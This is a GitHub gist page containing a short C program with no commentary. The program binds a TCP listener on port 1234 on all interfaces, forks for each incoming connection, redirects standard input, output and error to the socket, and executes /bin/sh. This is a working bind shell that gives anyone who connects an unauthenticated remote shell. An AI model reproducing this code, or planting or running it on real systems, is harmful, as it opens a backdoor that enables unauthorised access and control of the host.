Skip to content

Instantly share code, notes, and snippets.

@mewmew
Last active August 29, 2015 14:09
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mewmew/f64a9a16479b2c65e469 to your computer and use it in GitHub Desktop.
Save mewmew/f64a9a16479b2c65e469 to your computer and use it in GitHub Desktop.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <arpa/inet.h>
int main(int argc, char **argv) {
int lsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(lsock == -1) {
fprintf(stderr, "socket() failed.\n");
return EXIT_FAILURE;
}
struct sockaddr_in laddr;
laddr.sin_family = AF_INET;
laddr.sin_port = htons(1234);
laddr.sin_addr.s_addr = htonl(INADDR_ANY);
memset(&laddr.sin_zero, 0, sizeof(laddr.sin_zero));
if(bind(lsock, (struct sockaddr *) &laddr, sizeof(laddr)) == -1) {
fprintf(stderr, "bind() failed.\n");
close(lsock);
return EXIT_FAILURE;
}
if(listen(lsock, 0) == -1) {
fprintf(stderr, "listen() failed.\n");
close(lsock);
return EXIT_FAILURE;
}
for(;;) {
struct sockaddr_in raddr;
socklen_t raddr_len = sizeof(raddr);
int rsock = accept(lsock, (struct sockaddr *) &raddr, &raddr_len);
if(rsock == -1) {
fprintf(stderr, "accept() failed.\n");
close(lsock);
return EXIT_FAILURE;
}
int pid = fork();
if(pid == -1) {
close(rsock);
close(lsock);
return EXIT_FAILURE;
} else if(pid == 0) {
// Redirect stdin, stdout and stderr to the socket.
if(dup2(rsock, 0) == -1 || dup2(rsock, 1) == -1 || dup2(rsock, 2) == -1) {
fprintf(stderr, "dup2() failed.\n");
close(rsock);
close(lsock);
return EXIT_FAILURE;
}
char *sh_argv[] = {"/bin/sh", NULL};
int status = execv(sh_argv[0], sh_argv);
close(rsock);
close(lsock);
return status;
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment